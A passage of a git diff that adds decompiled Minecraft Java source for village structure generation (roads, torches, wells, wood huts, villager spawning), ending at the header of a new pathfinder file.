+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      super.readStructureFromNBT(p_143011_1_);
+      averageGroundLevel = p_143011_1_.getInteger("Length");
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      boolean var4 = false;
+      
+
+
+      for (int var5 = p_74861_3_.nextInt(5); var5 < averageGroundLevel - 8; var5 += 2 + p_74861_3_.nextInt(5))
+      {
+        StructureComponent var6 = getNextComponentNN((StructureVillagePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, 0, var5);
+        
+        if (var6 != null)
+        {
+          var5 += Math.max(boundingBox.getXSize(), boundingBox.getZSize());
+          var4 = true;
+        }
+      }
+      
+      for (var5 = p_74861_3_.nextInt(5); var5 < averageGroundLevel - 8; var5 += 2 + p_74861_3_.nextInt(5))
+      {
+        StructureComponent var6 = getNextComponentPP((StructureVillagePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, 0, var5);
+        
+        if (var6 != null)
+        {
+          var5 += Math.max(boundingBox.getXSize(), boundingBox.getZSize());
+          var4 = true;
+        }
+      }
+      
+      if ((var4) && (p_74861_3_.nextInt(3) > 0) && (coordBaseMode != null))
+      {
+        switch (StructureVillagePieces.SwitchEnumFacing.field_176064_a[coordBaseMode.ordinal()])
+        {
+        case 1: 
+          StructureVillagePieces.func_176069_e((StructureVillagePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX - 1, boundingBox.minY, boundingBox.minZ, EnumFacing.WEST, getComponentType());
+          break;
+        
+        case 2: 
+          StructureVillagePieces.func_176069_e((StructureVillagePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX - 1, boundingBox.minY, boundingBox.maxZ - 2, EnumFacing.WEST, getComponentType());
+          break;
+        
+        case 3: 
+          StructureVillagePieces.func_176069_e((StructureVillagePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX, boundingBox.minY, boundingBox.minZ - 1, EnumFacing.NORTH, getComponentType());
+          break;
+        
+        case 4: 
+          StructureVillagePieces.func_176069_e((StructureVillagePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.maxX - 2, boundingBox.minY, boundingBox.minZ - 1, EnumFacing.NORTH, getComponentType());
+        }
+        
+      }
+      if ((var4) && (p_74861_3_.nextInt(3) > 0) && (coordBaseMode != null))
+      {
+        switch (StructureVillagePieces.SwitchEnumFacing.field_176064_a[coordBaseMode.ordinal()])
+        {
+        case 1: 
+          StructureVillagePieces.func_176069_e((StructureVillagePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.maxX + 1, boundingBox.minY, boundingBox.minZ, EnumFacing.EAST, getComponentType());
+          break;
+        
+        case 2: 
+          StructureVillagePieces.func_176069_e((StructureVillagePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.maxX + 1, boundingBox.minY, boundingBox.maxZ - 2, EnumFacing.EAST, getComponentType());
+          break;
+        
+        case 3: 
+          StructureVillagePieces.func_176069_e((StructureVillagePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX, boundingBox.minY, boundingBox.maxZ + 1, EnumFacing.SOUTH, getComponentType());
+          break;
+        
+        case 4: 
+          StructureVillagePieces.func_176069_e((StructureVillagePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.maxX - 2, boundingBox.minY, boundingBox.maxZ + 1, EnumFacing.SOUTH, getComponentType());
+        }
+      }
+    }
+    
+    public static StructureBoundingBox func_175848_a(StructureVillagePieces.Start p_175848_0_, List p_175848_1_, Random p_175848_2_, int p_175848_3_, int p_175848_4_, int p_175848_5_, EnumFacing p_175848_6_)
+    {
+      for (int var7 = 7 * MathHelper.getRandomIntegerInRange(p_175848_2_, 3, 5); var7 >= 7; var7 -= 7)
+      {
+        StructureBoundingBox var8 = StructureBoundingBox.func_175897_a(p_175848_3_, p_175848_4_, p_175848_5_, 0, 0, 0, 3, 3, var7, p_175848_6_);
+        
+        if (StructureComponent.findIntersecting(p_175848_1_, var8) == null)
+        {
+          return var8;
+        }
+      }
+      
+      return null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      IBlockState var4 = func_175847_a(Blocks.gravel.getDefaultState());
+      IBlockState var5 = func_175847_a(Blocks.cobblestone.getDefaultState());
+      
+      for (int var6 = boundingBox.minX; var6 <= boundingBox.maxX; var6++)
+      {
+        for (int var7 = boundingBox.minZ; var7 <= boundingBox.maxZ; var7++)
+        {
+          BlockPos var8 = new BlockPos(var6, 64, var7);
+          
+          if (p_74875_3_.func_175898_b(var8))
+          {
+            var8 = worldIn.func_175672_r(var8).offsetDown();
+            worldIn.setBlockState(var8, var4, 2);
+            worldIn.setBlockState(var8.offsetDown(), var5, 2);
+          }
+        }
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class PieceWeight
+  {
+    public Class villagePieceClass;
+    public final int villagePieceWeight;
+    public int villagePiecesSpawned;
+    public int villagePiecesLimit;
+    private static final String __OBFID = "CL_00000521";
+    
+    public PieceWeight(Class p_i2098_1_, int p_i2098_2_, int p_i2098_3_)
+    {
+      villagePieceClass = p_i2098_1_;
+      villagePieceWeight = p_i2098_2_;
+      villagePiecesLimit = p_i2098_3_;
+    }
+    
+    public boolean canSpawnMoreVillagePiecesOfType(int p_75085_1_)
+    {
+      return (villagePiecesLimit == 0) || (villagePiecesSpawned < villagePiecesLimit);
+    }
+    
+    public boolean canSpawnMoreVillagePieces()
+    {
+      return (villagePiecesLimit == 0) || (villagePiecesSpawned < villagePiecesLimit);
+    }
+  }
+  
+  public static abstract class Road extends StructureVillagePieces.Village
+  {
+    private static final String __OBFID = "CL_00000532";
+    
+    public Road() {}
+    
+    protected Road(StructureVillagePieces.Start p_i2108_1_, int p_i2108_2_)
+    {
+      super(p_i2108_2_);
+    }
+  }
+  
+  public static class Start extends StructureVillagePieces.Well
+  {
+    public WorldChunkManager worldChunkMngr;
+    public boolean inDesert;
+    public int terrainType;
+    public StructureVillagePieces.PieceWeight structVillagePieceWeight;
+    public List structureVillageWeightedPieceList;
+    public List field_74932_i = com.google.common.collect.Lists.newArrayList();
+    public List field_74930_j = com.google.common.collect.Lists.newArrayList();
+    private static final String __OBFID = "CL_00000527";
+    
+    public Start() {}
+    
+    public Start(WorldChunkManager p_i2104_1_, int p_i2104_2_, Random p_i2104_3_, int p_i2104_4_, int p_i2104_5_, List p_i2104_6_, int p_i2104_7_)
+    {
+      super(0, p_i2104_3_, p_i2104_4_, p_i2104_5_);
+      worldChunkMngr = p_i2104_1_;
+      structureVillageWeightedPieceList = p_i2104_6_;
+      terrainType = p_i2104_7_;
+      net.minecraft.world.biome.BiomeGenBase var8 = p_i2104_1_.func_180300_a(new BlockPos(p_i2104_4_, 0, p_i2104_5_), net.minecraft.world.biome.BiomeGenBase.field_180279_ad);
+      inDesert = ((var8 == net.minecraft.world.biome.BiomeGenBase.desert) || (var8 == net.minecraft.world.biome.BiomeGenBase.desertHills));
+      func_175846_a(inDesert);
+    }
+    
+    public WorldChunkManager getWorldChunkManager()
+    {
+      return worldChunkMngr;
+    }
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_176064_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00001968";
+    
+    static
+    {
+      try
+      {
+        field_176064_a[EnumFacing.NORTH.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_176064_a[EnumFacing.SOUTH.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_176064_a[EnumFacing.WEST.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_176064_a[EnumFacing.EAST.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+  
+  public static class Torch
+    extends StructureVillagePieces.Village
+  {
+    private static final String __OBFID = "CL_00000520";
+    
+    public Torch() {}
+    
+    public Torch(StructureVillagePieces.Start p_i45568_1_, int p_i45568_2_, Random p_i45568_3_, StructureBoundingBox p_i45568_4_, EnumFacing p_i45568_5_)
+    {
+      super(p_i45568_2_);
+      coordBaseMode = p_i45568_5_;
+      boundingBox = p_i45568_4_;
+    }
+    
+    public static StructureBoundingBox func_175856_a(StructureVillagePieces.Start p_175856_0_, List p_175856_1_, Random p_175856_2_, int p_175856_3_, int p_175856_4_, int p_175856_5_, EnumFacing p_175856_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175856_3_, p_175856_4_, p_175856_5_, 0, 0, 0, 3, 4, 2, p_175856_6_);
+      return StructureComponent.findIntersecting(p_175856_1_, var7) != null ? null : var7;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (field_143015_k < 0)
+      {
+        field_143015_k = getAverageGroundLevel(worldIn, p_74875_3_);
+        
+        if (field_143015_k < 0)
+        {
+          return true;
+        }
+        
+        boundingBox.offset(0, field_143015_k - boundingBox.maxY + 4 - 1, 0);
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 0, 2, 3, 1, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 1, 0, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 1, 1, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 1, 2, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.wool.getStateFromMeta(net.minecraft.item.EnumDyeColor.WHITE.getDyeColorDamage()), 1, 3, 0, p_74875_3_);
+      boolean var4 = (coordBaseMode == EnumFacing.EAST) || (coordBaseMode == EnumFacing.NORTH);
+      func_175811_a(worldIn, Blocks.torch.getDefaultState().withProperty(BlockTorch.FACING_PROP, coordBaseMode.rotateY()), var4 ? 2 : 0, 3, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.torch.getDefaultState().withProperty(BlockTorch.FACING_PROP, coordBaseMode), 1, 3, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.torch.getDefaultState().withProperty(BlockTorch.FACING_PROP, coordBaseMode.rotateYCCW()), var4 ? 0 : 2, 3, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.torch.getDefaultState().withProperty(BlockTorch.FACING_PROP, coordBaseMode.getOpposite()), 1, 3, -1, p_74875_3_);
+      return true;
+    }
+  }
+  
+  static abstract class Village extends StructureComponent
+  {
+    protected int field_143015_k = -1;
+    private int villagersSpawned;
+    private boolean field_143014_b;
+    private static final String __OBFID = "CL_00000531";
+    
+    public Village() {}
+    
+    protected Village(StructureVillagePieces.Start p_i2107_1_, int p_i2107_2_)
+    {
+      super();
+      
+      if (p_i2107_1_ != null)
+      {
+        field_143014_b = inDesert;
+      }
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      p_143012_1_.setInteger("HPos", field_143015_k);
+      p_143012_1_.setInteger("VCount", villagersSpawned);
+      p_143012_1_.setBoolean("Desert", field_143014_b);
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      field_143015_k = p_143011_1_.getInteger("HPos");
+      villagersSpawned = p_143011_1_.getInteger("VCount");
+      field_143014_b = p_143011_1_.getBoolean("Desert");
+    }
+    
+    protected StructureComponent getNextComponentNN(StructureVillagePieces.Start p_74891_1_, List p_74891_2_, Random p_74891_3_, int p_74891_4_, int p_74891_5_)
+    {
+      if (coordBaseMode != null)
+      {
+        switch (StructureVillagePieces.SwitchEnumFacing.field_176064_a[coordBaseMode.ordinal()])
+        {
+        case 1: 
+          return StructureVillagePieces.func_176066_d(p_74891_1_, p_74891_2_, p_74891_3_, boundingBox.minX - 1, boundingBox.minY + p_74891_4_, boundingBox.minZ + p_74891_5_, EnumFacing.WEST, getComponentType());
+        
+        case 2: 
+          return StructureVillagePieces.func_176066_d(p_74891_1_, p_74891_2_, p_74891_3_, boundingBox.minX - 1, boundingBox.minY + p_74891_4_, boundingBox.minZ + p_74891_5_, EnumFacing.WEST, getComponentType());
+        
+        case 3: 
+          return StructureVillagePieces.func_176066_d(p_74891_1_, p_74891_2_, p_74891_3_, boundingBox.minX + p_74891_5_, boundingBox.minY + p_74891_4_, boundingBox.minZ - 1, EnumFacing.NORTH, getComponentType());
+        
+        case 4: 
+          return StructureVillagePieces.func_176066_d(p_74891_1_, p_74891_2_, p_74891_3_, boundingBox.minX + p_74891_5_, boundingBox.minY + p_74891_4_, boundingBox.minZ - 1, EnumFacing.NORTH, getComponentType());
+        }
+        
+      }
+      return null;
+    }
+    
+    protected StructureComponent getNextComponentPP(StructureVillagePieces.Start p_74894_1_, List p_74894_2_, Random p_74894_3_, int p_74894_4_, int p_74894_5_)
+    {
+      if (coordBaseMode != null)
+      {
+        switch (StructureVillagePieces.SwitchEnumFacing.field_176064_a[coordBaseMode.ordinal()])
+        {
+        case 1: 
+          return StructureVillagePieces.func_176066_d(p_74894_1_, p_74894_2_, p_74894_3_, boundingBox.maxX + 1, boundingBox.minY + p_74894_4_, boundingBox.minZ + p_74894_5_, EnumFacing.EAST, getComponentType());
+        
+        case 2: 
+          return StructureVillagePieces.func_176066_d(p_74894_1_, p_74894_2_, p_74894_3_, boundingBox.maxX + 1, boundingBox.minY + p_74894_4_, boundingBox.minZ + p_74894_5_, EnumFacing.EAST, getComponentType());
+        
+        case 3: 
+          return StructureVillagePieces.func_176066_d(p_74894_1_, p_74894_2_, p_74894_3_, boundingBox.minX + p_74894_5_, boundingBox.minY + p_74894_4_, boundingBox.maxZ + 1, EnumFacing.SOUTH, getComponentType());
+        
+        case 4: 
+          return StructureVillagePieces.func_176066_d(p_74894_1_, p_74894_2_, p_74894_3_, boundingBox.minX + p_74894_5_, boundingBox.minY + p_74894_4_, boundingBox.maxZ + 1, EnumFacing.SOUTH, getComponentType());
+        }
+        
+      }
+      return null;
+    }
+    
+    protected int getAverageGroundLevel(World worldIn, StructureBoundingBox p_74889_2_)
+    {
+      int var3 = 0;
+      int var4 = 0;
+      
+      for (int var5 = boundingBox.minZ; var5 <= boundingBox.maxZ; var5++)
+      {
+        for (int var6 = boundingBox.minX; var6 <= boundingBox.maxX; var6++)
+        {
+          BlockPos var7 = new BlockPos(var6, 64, var5);
+          
+          if (p_74889_2_.func_175898_b(var7))
+          {
+            var3 += Math.max(worldIn.func_175672_r(var7).getY(), provider.getAverageGroundLevel());
+            var4++;
+          }
+        }
+      }
+      
+      if (var4 == 0)
+      {
+        return -1;
+      }
+      
+
+      return var3 / var4;
+    }
+    
+
+    protected static boolean canVillageGoDeeper(StructureBoundingBox p_74895_0_)
+    {
+      return (p_74895_0_ != null) && (minY > 10);
+    }
+    
+    protected void spawnVillagers(World worldIn, StructureBoundingBox p_74893_2_, int p_74893_3_, int p_74893_4_, int p_74893_5_, int p_74893_6_)
+    {
+      if (villagersSpawned < p_74893_6_)
+      {
+        for (int var7 = villagersSpawned; var7 < p_74893_6_; var7++)
+        {
+          int var8 = getXWithOffset(p_74893_3_ + var7, p_74893_5_);
+          int var9 = getYWithOffset(p_74893_4_);
+          int var10 = getZWithOffset(p_74893_3_ + var7, p_74893_5_);
+          
+          if (!p_74893_2_.func_175898_b(new BlockPos(var8, var9, var10))) {
+            break;
+          }
+          
+
+          villagersSpawned += 1;
+          EntityVillager var11 = new EntityVillager(worldIn);
+          var11.setLocationAndAngles(var8 + 0.5D, var9, var10 + 0.5D, 0.0F, 0.0F);
+          var11.func_180482_a(worldIn.getDifficultyForLocation(new BlockPos(var11)), null);
+          var11.setProfession(func_180779_c(var7, var11.getProfession()));
+          worldIn.spawnEntityInWorld(var11);
+        }
+      }
+    }
+    
+    protected int func_180779_c(int p_180779_1_, int p_180779_2_)
+    {
+      return p_180779_2_;
+    }
+    
+    protected IBlockState func_175847_a(IBlockState p_175847_1_)
+    {
+      if (field_143014_b)
+      {
+        if ((p_175847_1_.getBlock() == Blocks.log) || (p_175847_1_.getBlock() == Blocks.log2))
+        {
+          return Blocks.sandstone.getDefaultState();
+        }
+        
+        if (p_175847_1_.getBlock() == Blocks.cobblestone)
+        {
+          return Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.DEFAULT.func_176675_a());
+        }
+        
+        if (p_175847_1_.getBlock() == Blocks.planks)
+        {
+          return Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a());
+        }
+        
+        if (p_175847_1_.getBlock() == Blocks.oak_stairs)
+        {
+          return Blocks.sandstone_stairs.getDefaultState().withProperty(BlockStairs.FACING, p_175847_1_.getValue(BlockStairs.FACING));
+        }
+        
+        if (p_175847_1_.getBlock() == Blocks.stone_stairs)
+        {
+          return Blocks.sandstone_stairs.getDefaultState().withProperty(BlockStairs.FACING, p_175847_1_.getValue(BlockStairs.FACING));
+        }
+        
+        if (p_175847_1_.getBlock() == Blocks.gravel)
+        {
+          return Blocks.sandstone.getDefaultState();
+        }
+      }
+      
+      return p_175847_1_;
+    }
+    
+    protected void func_175811_a(World worldIn, IBlockState p_175811_2_, int p_175811_3_, int p_175811_4_, int p_175811_5_, StructureBoundingBox p_175811_6_)
+    {
+      IBlockState var7 = func_175847_a(p_175811_2_);
+      super.func_175811_a(worldIn, var7, p_175811_3_, p_175811_4_, p_175811_5_, p_175811_6_);
+    }
+    
+    protected void func_175804_a(World worldIn, StructureBoundingBox p_175804_2_, int p_175804_3_, int p_175804_4_, int p_175804_5_, int p_175804_6_, int p_175804_7_, int p_175804_8_, IBlockState p_175804_9_, IBlockState p_175804_10_, boolean p_175804_11_)
+    {
+      IBlockState var12 = func_175847_a(p_175804_9_);
+      IBlockState var13 = func_175847_a(p_175804_10_);
+      super.func_175804_a(worldIn, p_175804_2_, p_175804_3_, p_175804_4_, p_175804_5_, p_175804_6_, p_175804_7_, p_175804_8_, var12, var13, p_175804_11_);
+    }
+    
+    protected void func_175808_b(World worldIn, IBlockState p_175808_2_, int p_175808_3_, int p_175808_4_, int p_175808_5_, StructureBoundingBox p_175808_6_)
+    {
+      IBlockState var7 = func_175847_a(p_175808_2_);
+      super.func_175808_b(worldIn, var7, p_175808_3_, p_175808_4_, p_175808_5_, p_175808_6_);
+    }
+    
+    protected void func_175846_a(boolean p_175846_1_)
+    {
+      field_143014_b = p_175846_1_;
+    }
+  }
+  
+  public static class Well extends StructureVillagePieces.Village
+  {
+    private static final String __OBFID = "CL_00000533";
+    
+    public Well() {}
+    
+    public Well(StructureVillagePieces.Start p_i2109_1_, int p_i2109_2_, Random p_i2109_3_, int p_i2109_4_, int p_i2109_5_)
+    {
+      super(p_i2109_2_);
+      coordBaseMode = net.minecraft.util.EnumFacing.Plane.HORIZONTAL.random(p_i2109_3_);
+      
+      switch (StructureVillagePieces.SwitchEnumFacing.field_176064_a[coordBaseMode.ordinal()])
+      {
+      case 1: 
+      case 2: 
+        boundingBox = new StructureBoundingBox(p_i2109_4_, 64, p_i2109_5_, p_i2109_4_ + 6 - 1, 78, p_i2109_5_ + 6 - 1);
+        break;
+      
+      default: 
+        boundingBox = new StructureBoundingBox(p_i2109_4_, 64, p_i2109_5_, p_i2109_4_ + 6 - 1, 78, p_i2109_5_ + 6 - 1);
+      }
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      StructureVillagePieces.func_176069_e((StructureVillagePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX - 1, boundingBox.maxY - 4, boundingBox.minZ + 1, EnumFacing.WEST, getComponentType());
+      StructureVillagePieces.func_176069_e((StructureVillagePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.maxX + 1, boundingBox.maxY - 4, boundingBox.minZ + 1, EnumFacing.EAST, getComponentType());
+      StructureVillagePieces.func_176069_e((StructureVillagePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX + 1, boundingBox.maxY - 4, boundingBox.minZ - 1, EnumFacing.NORTH, getComponentType());
+      StructureVillagePieces.func_176069_e((StructureVillagePieces.Start)p_74861_1_, p_74861_2_, p_74861_3_, boundingBox.minX + 1, boundingBox.maxY - 4, boundingBox.maxZ + 1, EnumFacing.SOUTH, getComponentType());
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (field_143015_k < 0)
+      {
+        field_143015_k = getAverageGroundLevel(worldIn, p_74875_3_);
+        
+        if (field_143015_k < 0)
+        {
+          return true;
+        }
+        
+        boundingBox.offset(0, field_143015_k - boundingBox.maxY + 3, 0);
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 1, 0, 1, 4, 12, 4, Blocks.cobblestone.getDefaultState(), Blocks.flowing_water.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 2, 12, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 3, 12, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 2, 12, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 3, 12, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 1, 13, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 1, 14, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 4, 13, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 4, 14, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 1, 13, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 1, 14, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 4, 13, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), 4, 14, 4, p_74875_3_);
+      func_175804_a(worldIn, p_74875_3_, 1, 15, 1, 4, 15, 4, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      
+      for (int var4 = 0; var4 <= 5; var4++)
+      {
+        for (int var5 = 0; var5 <= 5; var5++)
+        {
+          if ((var5 == 0) || (var5 == 5) || (var4 == 0) || (var4 == 5))
+          {
+            func_175811_a(worldIn, Blocks.gravel.getDefaultState(), var5, 11, var4, p_74875_3_);
+            clearCurrentPositionBlocksUpwards(worldIn, var5, 12, var4, p_74875_3_);
+          }
+        }
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class WoodHut extends StructureVillagePieces.Village
+  {
+    private boolean isTallHouse;
+    private int tablePosition;
+    private static final String __OBFID = "CL_00000524";
+    
+    public WoodHut() {}
+    
+    public WoodHut(StructureVillagePieces.Start p_i45565_1_, int p_i45565_2_, Random p_i45565_3_, StructureBoundingBox p_i45565_4_, EnumFacing p_i45565_5_)
+    {
+      super(p_i45565_2_);
+      coordBaseMode = p_i45565_5_;
+      boundingBox = p_i45565_4_;
+      isTallHouse = p_i45565_3_.nextBoolean();
+      tablePosition = p_i45565_3_.nextInt(3);
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      super.writeStructureToNBT(p_143012_1_);
+      p_143012_1_.setInteger("T", tablePosition);
+      p_143012_1_.setBoolean("C", isTallHouse);
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      super.readStructureFromNBT(p_143011_1_);
+      tablePosition = p_143011_1_.getInteger("T");
+      isTallHouse = p_143011_1_.getBoolean("C");
+    }
+    
+    public static WoodHut func_175853_a(StructureVillagePieces.Start p_175853_0_, List p_175853_1_, Random p_175853_2_, int p_175853_3_, int p_175853_4_, int p_175853_5_, EnumFacing p_175853_6_, int p_175853_7_)
+    {
+      StructureBoundingBox var8 = StructureBoundingBox.func_175897_a(p_175853_3_, p_175853_4_, p_175853_5_, 0, 0, 0, 4, 6, 5, p_175853_6_);
+      return (canVillageGoDeeper(var8)) && (StructureComponent.findIntersecting(p_175853_1_, var8) == null) ? new WoodHut(p_175853_0_, p_175853_7_, p_175853_2_, var8, p_175853_6_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (field_143015_k < 0)
+      {
+        field_143015_k = getAverageGroundLevel(worldIn, p_74875_3_);
+        
+        if (field_143015_k < 0)
+        {
+          return true;
+        }
+        
+        boundingBox.offset(0, field_143015_k - boundingBox.maxY + 6 - 1, 0);
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 1, 3, 5, 4, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 0, 3, 0, 4, Blocks.cobblestone.getDefaultState(), Blocks.cobblestone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 0, 1, 2, 0, 3, Blocks.dirt.getDefaultState(), Blocks.dirt.getDefaultState(), false);
+      
+      if (isTallHouse)
+      {
+        func_175804_a(worldIn, p_74875_3_, 1, 4, 1, 2, 4, 3, Blocks.log.getDefaultState(), Blocks.log.getDefaultState(), false);
+      }
+      else
+      {
+        func_175804_a(worldIn, p_74875_3_, 1, 5, 1, 2, 5, 3, Blocks.log.getDefaultState(), Blocks.log.getDefaultState(), false);
+      }
+      
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 1, 4, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 2, 4, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 1, 4, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 2, 4, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 0, 4, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 0, 4, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 0, 4, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 3, 4, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 3, 4, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.log.getDefaultState(), 3, 4, 3, p_74875_3_);
+      func_175804_a(worldIn, p_74875_3_, 0, 1, 0, 0, 3, 0, Blocks.log.getDefaultState(), Blocks.log.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 3, 1, 0, 3, 3, 0, Blocks.log.getDefaultState(), Blocks.log.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 1, 4, 0, 3, 4, Blocks.log.getDefaultState(), Blocks.log.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 3, 1, 4, 3, 3, 4, Blocks.log.getDefaultState(), Blocks.log.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 1, 1, 0, 3, 3, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 3, 1, 1, 3, 3, 3, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 0, 2, 3, 0, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 4, 2, 3, 4, Blocks.planks.getDefaultState(), Blocks.planks.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 0, 2, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.glass_pane.getDefaultState(), 3, 2, 2, p_74875_3_);
+      
+      if (tablePosition > 0)
+      {
+        func_175811_a(worldIn, Blocks.oak_fence.getDefaultState(), tablePosition, 1, 3, p_74875_3_);
+        func_175811_a(worldIn, Blocks.wooden_pressure_plate.getDefaultState(), tablePosition, 2, 3, p_74875_3_);
+      }
+      
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 1, 1, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 1, 2, 0, p_74875_3_);
+      func_175810_a(worldIn, p_74875_3_, p_74875_2_, 1, 1, 0, EnumFacing.getHorizontal(getMetadataWithOffset(Blocks.oak_door, 1)));
+      
+      if ((func_175807_a(worldIn, 1, 0, -1, p_74875_3_).getBlock().getMaterial() == Material.air) && (func_175807_a(worldIn, 1, -1, -1, p_74875_3_).getBlock().getMaterial() != Material.air))
+      {
+        func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(getMetadataWithOffset(Blocks.stone_stairs, 3)), 1, 0, -1, p_74875_3_);
+      }
+      
+      for (int var4 = 0; var4 < 5; var4++)
+      {
+        for (int var5 = 0; var5 < 4; var5++)
+        {
+          clearCurrentPositionBlocksUpwards(worldIn, var5, 6, var4, p_74875_3_);
+          func_175808_b(worldIn, Blocks.cobblestone.getDefaultState(), var5, -1, var4, p_74875_3_);
+        }
+      }
+      
+      spawnVillagers(worldIn, p_74875_3_, 1, 1, 2, 1);
+      return true;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/pathfinder/NodeProcessor.java b/src/minecraft/net/minecraft/world/pathfinder/NodeProcessor.java
new file mode 100644
index 0000000..0670eab
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/pathfinder/NodeProcessor.java
